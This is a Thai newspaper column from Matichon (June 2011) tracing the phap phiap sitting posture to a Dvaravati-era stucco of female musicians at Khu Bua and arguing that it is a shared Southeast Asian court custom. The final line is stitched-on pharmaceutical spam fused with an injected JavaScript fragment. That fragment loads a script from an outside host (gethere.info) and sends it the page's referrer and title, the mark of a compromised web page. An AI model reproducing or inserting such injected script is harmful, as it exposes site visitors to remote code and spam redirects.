มติชนรายวัน ฉบับประจำวันจันทร์ที่ 27 มิถุนายน 2554

 

          พับเพียบ ท่านั่งพับขารวบชิดไปทางเดียวกัน ให้ก้นรับน้ำหนักที่พื้น

หลักฐานเก่าสุดของท่านั่งพับเพียบที่พบในประเทศไทยเป็นปูนปั้นรูปนักดนตรีผู้หญิง 5 คน ฝีมือช่างแบบทวารวดี อายุราว พ.ศ. 1400 พบที่เมืองคูบัว อ. เมือง จ. ราชบุรี

          ท่านั่งพับเพียบ เป็นวัฒนธรรมร่วมของราชสำนักสุวรรณภูมิในอุษาคเนย์ เพราะพบทั่วไป ไม่เฉพาะประเทศใดประเทศหนึ่ง

แต่ไม่ใช่ท่านั่งของประชาชนไพร่บ้านพลเมือง หากเป็นของชาววังในราชสำนักโบราณที่ส่งแบบแผนลงสู่ไพร่บ้านพลเมืองในยุคหลังๆ แล้วถูกบังคับให้ต้องนั่งอย่างนี้ต่อหน้าพระสงฆ์และผู้ใหญ่กว่าสืบมาจนปัจจุบัน

ท่านั่งพับเพียบยังไม่พบหลักฐานว่ามีในอินเดีย-ลังกา แม้ภาพสลักผู้หญิงเล่นดนตรีในประติมากรรมอินเดียก็ไม่นั่งพับเพียบ แต่นั่งห้อยขา ถ่างขา ชันเข่า อย่างเดียวกับชาย

ในลังกาถือว่าพนมมือหว่างอกคือการทำความเคารพบูชาที่สุดแล้ว แต่ขาและตีนปล่อยตามสบาย จะเหยียดยาวหรือชันเข่าอย่างไรก็ได้

คนในสยามและสุวรรณภูมิแต่ก่อนก็ไม่นั่งพับเพียบในวัด แต่นั่งขัดสมาธิ หรือชันเข่า เหยียดแข้งขาตามสบาย เพิ่งนั่งพับเพียบแบบชาววังในยุคหลัง

“พับเพียบไทยแลนด์” ไม่มีจริง แต่ถูกสร้างขึ้นใหม่ๆ จึงไม่ใช่เอกลักษณ์ความเป็นไทย ไม่ใช่สมบัติของ “ไทยแลนด์” เท่านั้น แต่เป็น “วัฒนธรรมร่วม” อุษาคเนย์ ที่เริ่มจากชาววังในราชสำนักของรัฐโบราณ 

ท่านั่งพับเพียบ เก็บหัวเข่าชิดกัน เป็นลักษณะเฉพาะของผู้ดีชาววังราชสำนักสุวรรณภูมิในอุษาคเนย์ ผู้หญิง 5 คน ล้วนนั่งพับเพียบขับลำและบรรเลงเพลงด้วยเครื่องดนตรีต่างๆ เป็นต้นแบบเสภาดนตรีกับเสภามโหรีในกฎมณเฑียรบาลยุคอยุธยา รูปนี้เป็นปูนปั้นประดับฐานสถูปยุคทวารวดี ราว พ.ศ. 1400 ที่เมืองคูบัว อ. เมือง จ. ราชบุรี

fluoxetine tablets dutasteride side effectss.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;